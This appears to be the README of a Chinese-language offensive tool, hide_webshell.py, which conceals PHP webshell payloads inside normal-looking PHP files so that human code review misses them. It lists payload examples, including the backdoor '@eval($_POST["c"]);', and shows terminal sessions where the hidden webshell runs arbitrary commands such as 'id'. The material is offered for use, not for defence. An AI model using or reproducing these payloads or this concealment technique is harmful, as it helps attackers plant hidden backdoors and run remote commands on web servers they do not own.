Awesome

webshell-bypassed-human

见公众号文章：传送门 ，或者见 fb 文章 https://www.freebuf.com/articles/web/241454.html

过人 webshell 的生成工具

» python hide_webshell.py
usage: hide_webshell.py [-h] -pf PAYLOAD_FILE [--pro] [-wf WEBSHELL_FILE]
                        [--debug]
                        php
hide_webshell.py: error: the following arguments are required: php, -pf/--payload_file

将 payload 放在 -pf 所指定的路径

hide webshell

示例：

python hide_webshell.py hide_webshell.py normal.php -pf payload.txt

hide webshell pro

示例：

python hide_webshell.py normal_pro.php -pf payload.txt --pro

payload 示例

• system("echo \"hacked by Tr0y :)\"");
• @eval($_POST["c"]);

完整示例

# macr0phag3 in ~/Tr0y/webshell-bypassed-human on git:master ✖︎ [14:45:27]
» cat payload.txt
system("echo \"hacked by Tr0y :)\"");%

# macr0phag3 in ~/Tr0y/webshell-bypassed-human on git:master ✖︎ [14:45:28]
» p hide_webshell.py normal.php -pf payload.txt && php webshell_hidden.php
[+] Hide webshell in normal mode
  [-] Get payload from payload.txt
      Payload is system("echo \"hacked by Tr0y :)\"");
  [-] Get php code from normal.php
[!] Saved webshell as webshell_hidden.php
[!] All done

Bye :)
hacked by Tr0y :)

# macr0phag3 in ~/Tr0y/webshell-bypassed-human on git:master ✖︎ [14:45:31]
» p hide_webshell.py normal_pro.php -pf payload.txt --pro && php webshell_hidden.php
[+] Hide webshell in pro mode
  [-] Get payload from payload.txt
      Payload is system("echo \"hacked by Tr0y :)\"");
  [-] Get php code from normal_pro.php
[!] Saved webshell as webshell_hidden.php
[!] All done

Bye :)
hacked by Tr0y :)

# macr0phag3 in ~/Tr0y/webshell-bypassed-human on git:master ✖︎ [14:48:23]
» cat payload.txt
@eval($_POST["c"]);%

# macr0phag3 in ~/Tr0y/webshell-bypassed-human on git:master ✖︎ [14:48:24]
» p hide_webshell.py normal.php -pf payload.txt && php -r '$_POST["c"]="system(\"id\");"; require("webshell_hidden.php");'
[+] Hide webshell in normal mode
  [-] Get payload from payload.txt
      Payload is @eval($_POST["c"]);
  [-] Get php code from normal.php
[!] Saved webshell as webshell_hidden.php
[!] All done

Bye :)
uid=502(macr0phag3) gid=20(staff) groups=20(staff),12(everyone), ...此处省略

# macr0phag3 in ~/Tr0y/webshell-bypassed-human on git:master ✖︎ [14:48:26]
» p hide_webshell.py normal_pro.php -pf payload.txt --pro && php -r '$_POST["c"]="system(\"id\");"; require("webshell_hidden.php");'
[+] Hide webshell in pro mode
  [-] Get payload from payload.txt
      Payload is @eval($_POST["c"]);
  [-] Get php code from normal_pro.php
[!] Saved webshell as webshell_hidden.php
[!] All done

Bye :)
uid=502(macr0phag3) gid=20(staff) groups=20(staff),12(everyone), ...此处省略

其他